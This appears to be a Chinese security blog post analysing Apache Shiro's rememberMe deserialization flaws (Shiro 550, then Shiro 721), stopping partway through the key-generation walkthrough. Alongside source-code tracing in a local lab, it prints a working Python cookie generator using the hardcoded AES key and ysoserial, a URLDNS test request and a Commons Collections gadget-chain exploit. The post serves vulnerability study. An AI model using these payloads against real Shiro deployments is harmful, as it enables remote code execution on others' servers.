简介 官方文档:https://shiro.apache.org/
Apache Shiro™ is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.
Apache Shiro是Java中的一个安全框架,可以执行身份验证、授权、加密和会话管理。 关于漏洞:https://shiro.apache.org/security-reports.html
Shiro550 环境搭建 地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 使用IDEA打开文件夹,修改samples中web目录下的pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <dependencies > <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > servlet-api</artifactId > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-log4j12</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > log4j</groupId > <artifactId > log4j</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > net.sourceforge.htmlunit</groupId > <artifactId > htmlunit</artifactId > <version > 2.6</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-web</artifactId > </dependency > <dependency > <groupId > org.mortbay.jetty</groupId > <artifactId > jetty</artifactId > <version > ${jetty.version}</version > <scope > test</scope > </dependency > <dependency > <groupId > org.mortbay.jetty</groupId > <artifactId > jsp-2.1-jetty</artifactId > <version > ${jetty.version}</version > <scope > test</scope > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > jcl-over-slf4j</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > </dependencies >
使用maven3.1.1版本,使用jdk1.6进行package 成功打包war包后,启动tomcat运行 搭建成功界面 使用用户名和密码进行登录,登录时需要点击“Remember Me” 抓包分析
漏洞分析 remeberMe的生成过程 在org/apache/shiro/web/mgt/CookieRememberMeManager类的rememberSerializedIdentity函数下断点,从函数字面可以猜测这应该是cookie设置的地方 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 rememberSerializedIdentity:156 , CookieRememberMeManager (org.apache.shiro.web.mgt) rememberIdentity:347 , AbstractRememberMeManager (org.apache.shiro.mgt) rememberIdentity:321 , AbstractRememberMeManager (org.apache.shiro.mgt) onSuccessfulLogin:297 , AbstractRememberMeManager (org.apache.shiro.mgt) rememberMeSuccessfulLogin:206 , DefaultSecurityManager (org.apache.shiro.mgt) onSuccessfulLogin:291 , DefaultSecurityManager (org.apache.shiro.mgt) login:285 , DefaultSecurityManager (org.apache.shiro.mgt) login:256 , DelegatingSubject (org.apache.shiro.subject.support) executeLogin:53 , AuthenticatingFilter (org.apache.shiro.web.filter.authc) onAccessDenied:154 , FormAuthenticationFilter (org.apache.shiro.web.filter.authc) onAccessDenied:133 , AccessControlFilter (org.apache.shiro.web.filter) onPreHandle:162 , AccessControlFilter (org.apache.shiro.web.filter) isFilterChainContinued:203 , PathMatchingFilter (org.apache.shiro.web.filter) preHandle:178 , PathMatchingFilter (org.apache.shiro.web.filter) doFilterInternal:131 , AdviceFilter (org.apache.shiro.web.servlet) doFilter:125 , OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66 , ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:449 , AbstractShiroFilter (org.apache.shiro.web.servlet) call:365 , AbstractShiroFilter$1 (org.apache.shiro.web.servlet) doCall:90 , SubjectCallable (org.apache.shiro.subject.support) call:83 , SubjectCallable (org.apache.shiro.subject.support) execute:383 , DelegatingSubject (org.apache.shiro.subject.support) doFilterInternal:362 , AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125 , OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:178 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) invoke:167 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:492 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:673 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:389 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:926 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:832 , Thread (java.lang)
从正向开始分析,从onSuccessfulLogin方法开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public void onSuccessfulLogin (Subject subject, AuthenticationToken token, AuthenticationInfo info) { forgetIdentity(subject); if (isRememberMe(token)) { rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account." ); } } }
可以进入isRememberMe方法查看如何进行判断的
1 2 3 4 5 6 7 protected boolean isRememberMe (AuthenticationToken token) { return token != null && (token instanceof RememberMeAuthenticationToken) && ((RememberMeAuthenticationToken) token).isRememberMe(); }
token是UsernamePasswordToken类对象,所以进入到此对象的isRememberMe方法
1 2 3 public boolean isRememberMe () { return rememberMe; }
进入if条件中的rememberIdentity函数
1 2 3 4 5 6 public void rememberIdentity (Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) { PrincipalCollection principals = getIdentityToRemember(subject, authcInfo); rememberIdentity(subject, principals); }
进入重载的rememberIdentity函数
1 2 3 4 5 6 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }
这里的关键是进入convertPrincipalsToBytes方法,通过这个函数将身份的相关信息转换成了byte数组
1 2 3 4 5 6 7 8 9 10 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
先来了解getCipherService函数
1 2 3 public CipherService getCipherService () { return cipherService; }
其实就是返回一个类的属性,查看该类的构造函数观察对应属性的赋值
1 2 3 4 5 6 7 8 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
根据类名应该可以得知这里使用的是AES算法,从上下文可以获得固定在源码中的密钥
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
获取到加密的服务之后,进入if中调用encrypt函数进行加密
1 2 3 4 5 6 7 8 9 10 11 12 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
进入encrypt方法,这里进入的是JcaCipherService类的encrypt方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public ByteSource encrypt (byte [] plaintext, byte [] key) { byte [] ivBytes = null ; boolean generate = isGenerateInitializationVectors(false ); if (generate) { ivBytes = generateInitializationVector(false ); if (ivBytes == null || ivBytes.length == 0 ) { throw new IllegalStateException ("Initialization vector generation is enabled - generated vector" + "cannot be null or empty." ); } } return encrypt(plaintext, key, ivBytes, generate); }
初始iv是如何生成的? 查看generateInitializationVector方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected byte [] generateInitializationVector(boolean streaming) { int size = getInitializationVectorSize(); if (size <= 0 ) { String msg = "initializationVectorSize property must be greater than zero. This number is " + "typically set in the " + CipherService.class.getSimpleName() + " subclass constructor. " + "Also check your configuration to ensure that if you are setting a value, it is positive." ; throw new IllegalStateException (msg); } if (size % BITS_PER_BYTE != 0 ) { String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array." ; throw new IllegalStateException (msg); } int sizeInBytes = size / BITS_PER_BYTE; byte [] ivBytes = new byte [sizeInBytes]; SecureRandom random = ensureSecureRandom(); random.nextBytes(ivBytes); return ivBytes; }
查看向量大小的生成getInitializationVectorSize方法
1 2 3 public int getInitializationVectorSize () { return initializationVectorSize; }
返回一个属性值,查看其构造方法
1 2 3 4 5 6 7 8 9 10 11 protected JcaCipherService (String algorithmName) { if (!StringUtils.hasText(algorithmName)) { throw new IllegalArgumentException ("algorithmName argument cannot be null or empty." ); } this .algorithmName = algorithmName; this .keySize = DEFAULT_KEY_SIZE; this .initializationVectorSize = DEFAULT_KEY_SIZE; this .streamingBufferSize = DEFAULT_STREAMING_BUFFER_SIZE; this .generateInitializationVectors = true ; }
综上所述,这里的iv是随机生成的16位字节 进入重载的encrypt方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private ByteSource encrypt (byte [] plaintext, byte [] key, byte [] iv, boolean prependIv) throws CryptoException { final int MODE = javax.crypto.Cipher.ENCRYPT_MODE; byte [] output; if (prependIv && iv != null && iv.length > 0 ) { byte [] encrypted = crypt(plaintext, key, iv, MODE); output = new byte [iv.length + encrypted.length]; System.arraycopy(iv, 0 , output, 0 , iv.length); System.arraycopy(encrypted, 0 , output, iv.length, encrypted.length); } else { output = crypt(plaintext, key, iv, MODE); } if (log.isTraceEnabled()) { log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0 ) + ". Ciphertext " + "byte array is size " + (output != null ? output.length : 0 )); } return ByteSource.Util.bytes(output); }
继续进入crypt函数
1 2 3 4 5 6 7 private byte [] crypt(byte [] bytes, byte [] key, byte [] iv, int mode) throws IllegalArgumentException, CryptoException { if (key == null || key.length == 0 ) { throw new IllegalArgumentException ("key argument cannot be null or empty." ); } javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false ); return crypt(cipher, bytes); }
这里其实就是AES内部的加密细节了 encrypt函数执行到最后结果如下: 得到加密后的结果,回到rememberIdentity函数 进入rememberSerializedIdentity函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie (template); cookie.setValue(base64); cookie.saveTo(request, response); }
设置cooike成功总结 :身份信息进行序列化——>AES加密——>Base64加密——>cookie中的remeberMe
remeberMe的解析过程 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 decrypt:386 , JcaCipherService (org.apache.shiro.crypto) decrypt:382 , JcaCipherService (org.apache.shiro.crypto) decrypt:489 , AbstractRememberMeManager (org.apache.shiro.mgt) convertBytesToPrincipals:429 , AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:396 , AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604 , DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492 , DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342 , DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846 , Subject$Builder (org.apache.shiro.subject) buildWebSubject:148 , WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292 , AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359 , AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125 , OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:178 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) invoke:167 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:492 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:673 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:389 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:926 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:832 , Thread (java.lang)
使用前面生成的remeberMe的cookie值进行请求
1 curl -X GET -H "cookie:rememberMe=jCmif8/p5A+C+p5PwHTlOWNsUCikdqRc5mLEb1PsaBvuroIawHP/03Zenr4iVKL3RsWjWCt3YkFsVXQKf4pkQLwPRUa4M9gzUuEmUZfR8U2YsXXETs8oYxatlg7IovW9/eM/jyqjWZ5sYQT7me+DY2lDSUasvbZofwaApRLrDw0xxM79I6XNpz0nlCkuAdWsZvS8ghAZyByl/UAWITIxbeNF6vWnwjsTcHtskaZ0QBwh4BGreNrVAh0dbl5Ah8U3BEID3yndJ9y7lbIT/QQTvfFgim6Rjh3TQaFIC6Dt+rxO782rJ4dkswpf3UOih35I47Vm/LcJzrvnxNlMQyPa8ttHMZEVsfh8mSKAeePyzkkM5j6yeY764AAH160CD1e8DXJlz6gyo+1bCJqmvDgPPfoIRPCVPsNlDUipANkGqYZvk9A8diXf3EiOuuvebbFuPsmYPsFWdiVnoV6Q9z+iHfO19mojLNsDHdeyQEHYE5FvsPrqPGnsaJc9NUBqNpOb; Phpstorm-10d910bb=a6bc0397-210c-4145-96b8-e9aedf363376" http://localhost:8090/samples_web_war/
在AbstractRememberMeManager类的getRememberedPrincipals方法中下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
进入getRememberedSerializedIdentity函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
进入convertBytesToPrincipals方法
1 2 3 4 5 6 7 8 9 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
进入decrypt函数
1 2 3 4 5 6 7 8 9 10 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
进入到JcaCipherService类的decrypt方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public ByteSource decrypt (byte [] ciphertext, byte [] key) throws CryptoException { byte [] encrypted = ciphertext; byte [] iv = null ; if (isGenerateInitializationVectors(false )) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; iv = new byte [ivByteSize]; System.arraycopy(ciphertext, 0 , iv, 0 , ivByteSize); int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte [encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0 , encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext." ; throw new CryptoException (msg, e); } } return decrypt(encrypted, key, iv); }
这里的函数的大概意思是将传入的ciphertext分成iv和encrypted两部分,在传入重载的decrypt中进行解密
1 2 3 4 5 6 7 8 private ByteSource decrypt (byte [] ciphertext, byte [] key, byte [] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0 )); } byte [] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
这里面就是进行AES解密的部分 回到convertBytesToPrincipals函数部分 进入deserialize中
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
这里的getSerializer即获取序列化器,然后调用反序列化函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
最后返回至getRememberedPrincipals函数,得到了principal实例对象 下面就是身份验证的步骤了总结 : 获取remeberMe的值——>base64解密——>AES解密——>反序列化
漏洞复现 shiro+URLDNS 生成remeberMe的cookie值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import base64import uuidimport subprocessimport optparsefrom Crypto.Cipher import AESdef remeberMe (command, ysoserial_path ): if len (command) <= 0 : return None arr = ['java' , '-jar' , ysoserial_path] + command popen = subprocess.Popen(arr, stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-p path-ysoserial] [-m method] [-c command]' ) parse.add_option('-p' , '--path-ysoserial' , dest='path' , help ='path ysoserial' , default='ysoserial.jar' ) parse.add_option('-c' , '--command' , dest='command' , help ='command' ) parse.add_option('-m' , '--method' , dest='method' , help ='ysoserial method' ) options, args = parse.parse_args() if not options.command or not options.method: print ('Usage:python3 generate_remeberMe.py [-c command] [-m method]\n' ) exit('generate_remeberMe.py:error:missing a mandatory option(-c,-m).Use -h for basic and -hh for advanced help' ) args_list = [options.method, options.command] print (args_list) payload = remeberMe(args_list, options.path) with open ("./payload.cookie" , "w" ) as fpw: print ("rememberMe={}" .format (payload.decode())) res = "rememberMe={}" .format (payload.decode()) fpw.write(res)
运行脚本
1 python3 generate_remeberMe.py -p ../ysoserial-all.jar -m URLDNS -c http://q3kbhojx.eyes.sh
生成的cookie值
1 rememberMe=zCmIVaHZRWaEDgG4ai9KtSyUBRDy64H02wKgeXOeABaFiUbjOXTdpaqi42ete4k8xF0C1u0HpWFOccMjPvGMmzgu7/wSbi4tYDGSanE+aVQU9VYD/L2mdOQyqYliPNelAmbnTNl8tVnQEA9wAbVDrvdJOObIeLNiHweoY6d7iOOXBym5GTjFrvI/5 +/bZ6PABVkVySJsjEOzs7cJdYI6JVyqnEVFwoZnWNDAj9oSwOkxsmKQ5zyV8WZQOD8ywANAotwPYrOGG21E9/50FJbOBCGhwxr4sCyrn2Y1GrG4DdZ37ykK+ebAJd7gQEMdlvbegYGn2v2fTGbwgpGEHC41q2Km1r62PRR3wJ99sp85yrX1unQdMVW0K+KAXvTEaIjRkVflhpgmA0v2A9L+G2rRfg==
发送包进行请求
1 2 3 4 5 6 7 8 9 10 GET /samples_web_war/ HTTP/1.1 Host: 192.168.3.136:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=2B290CC9ACB7DC118345F067BAB9693C; rememberMe=zCmIVaHZRWaEDgG4ai9KtSyUBRDy64H02wKgeXOeABaFiUbjOXTdpaqi42ete4k8xF0C1u0HpWFOccMjPvGMmzgu7/wSbi4tYDGSanE+aVQU9VYD/L2mdOQyqYliPNelAmbnTNl8tVnQEA9wAbVDrvdJOObIeLNiHweoY6d7iOOXBym5GTjFrvI/5+/bZ6PABVkVySJsjEOzs7cJdYI6JVyqnEVFwoZnWNDAj9oSwOkxsmKQ5zyV8WZQOD8ywANAotwPYrOGG21E9/50FJbOBCGhwxr4sCyrn2Y1GrG4DdZ37ykK+ebAJd7gQEMdlvbegYGn2v2fTGbwgpGEHC41q2Km1r62PRR3wJ99sp85yrX1unQdMVW0K+KAXvTEaIjRkVflhpgmA0v2A9L+G2rRfg== Connection: close
最后会在DNS平台上出现请求记录 发送包后代码的具体执行如上述cookie解密过程一致,先对设置的payload进行base64解密,然后再对其进行AES解密,最后将得到的字节码进行反序列化操作,调用readObject函数,触发URLDNS链
难点 关于resolveClass 再使用ObjectInputStream类的readObject函数进行反序列化的过程中,其中会进行resolveClass方法来查找类;在ObjectInputStream类的resolveClass方法中通过Class.forName来获取当前描述器所指代的类的Class对象,但是Shiro中重写了ObjectInputStream类的resolveClass方法,它采用的是ClassUtils.forName来查找 查看ClassResolvingObjectInputStream类的resolveClass函数
1 2 3 4 5 6 7 8 @Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException ("Unable to load ObjectStreamClass [" + osc + "]: " , e); } }
进入ClassUtils.forName函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static Class forName (String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null ) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..." ); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null ) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..." ); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null ) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found." ; throw new UnknownClassException (msg); } return clazz; }
这里接受的参数类型是String类型,如果传入的是Transform数组,会报错,具体的细节在THREAD_CL_ACCESSOR.loadClass中
这里引入commons-collections:4.0,CC2链使用的是非数组形式,所以可以利用成功
与此同时,Shiro中自带的CommonsBeanutils组件也可使用对应的CB链去利用
利用CC链 commons collections:3.2.1
参考wh1t3p1g文章,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 final Object templates = Gadgets.createTemplatesImpl(command);final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]);final Map innerMap = new HashMap ();final Map lazyMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry entry = new TiedMapEntry (lazyMap, templates);HashSet map = new HashSet (1 );map.add("foo" ); Field f = null ;try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = null ;innimpl = (HashMap) f.get(map); Field f2 = null ;try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = new Object [0 ]; array = (Object[]) f2.get(innimpl); Object node = array[0 ];if (node == null ){ node = array[1 ]; } Field keyField = null ;try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); return map;
参考:https://www.anquanke.com/post/id/192619
总结 在Shiro1.2.5中,将默认的key改成了动态key,但还是存在反序列化问题
参考 Java安全之Shiro 550反序列化漏洞分析 - nice_0e3 - 博客园 (cnblogs.com) Java安全之安全加密算法 - nice_0e3 - 博客园 (cnblogs.com) Java反序列化漏洞——Shiro550 - 枫のBlog (goodapple.top) Apache Shiro 反序列化漏洞分析 - Zh1z3ven - 博客园 (cnblogs.com) shiro反序列化初探 | XiLitter Shiro 反序列化漏洞原理分析 - Geekby’s Blog
Shiro721 编号:CVE-2019-12422 影响版本:Apache Shiro <= 1.4.1 流程:
登录网站获取正确的Cookie值(remeberMe)
使用rememberMe字段进行Padding Oracle Attack,获取intermediary
利用intermediary构造出恶意的反序列化密文作为Cookie
使用新的Cookie请求网站执行攻击
环境搭建 版本下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.4.1 导入IDEA,加载包,启动Tomact,直接运行即可
分析 密钥生成 在Shiro550中,密钥直接写在源码中,而在Shiro721中,密钥动态生成 查看
1 2 3 4 5 6 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); AesCipherService cipherService = new AesCipherService (); this .cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
查看generateNewKey方法
1 2 3 public Key generateNewKey () { return generateNewKey(getKeySize()); }
其中这里的getKeySize是获取key的长度 再进入到重载的generateNewKey方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public Key generateNewKey (int keyBitSize) { KeyGenerator kg; try { kg = KeyGenerator.getInstance(getAlgorithmName()); } catch (NoSuchAlgorithmException e) { String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function." ; throw new IllegalStateException (msg, e); } kg.init(keyBitSize); return kg.generateKey(); }
进入init方法
1 2 3 public final void init (int var1) { this .init(var1, JceSecurity.RANDOM); }
这里的var1指的是key的长度,即128,调用重载方法init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public final void init (int var1, SecureRandom var2) { if (this .serviceIterator == null ) { this .spi.engineInit(var1, var2); } else { RuntimeException var3 = null ; KeyGeneratorSpi var4 = this .spi; while (true ) { try { var4.engineInit(var1, var2); this .initType = 4 ; this .initKeySize = var1; this .initParams = null ; this .initRandom = var2; return ; } catch (RuntimeException var6) { if (var3 == null ) { var3 = var6; } var4 = this .nextSpi(var4, false ); if (var4 == null ) { throw var3; } } } } }
这个方法主要是用于获取初始化密钥生成器 回到generateNewKey方法,初始化完成后,调用generateKey方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public final SecretKey generateKey () { if (this .serviceIterator == null ) { return this .spi.engineGenerateKey(); } else { RuntimeException var1 = null ; KeyGeneratorSpi var2 = this .spi; while (true ) { try { return var2.engineGenerateKey(); } catch (RuntimeException var4) { if (var1 == null ) { var1 = var4; } var2 = this .nextSpi(var2, true ); if (var2 == null ) { throw var1; } } } } }
进入到engineGenerateKey方法
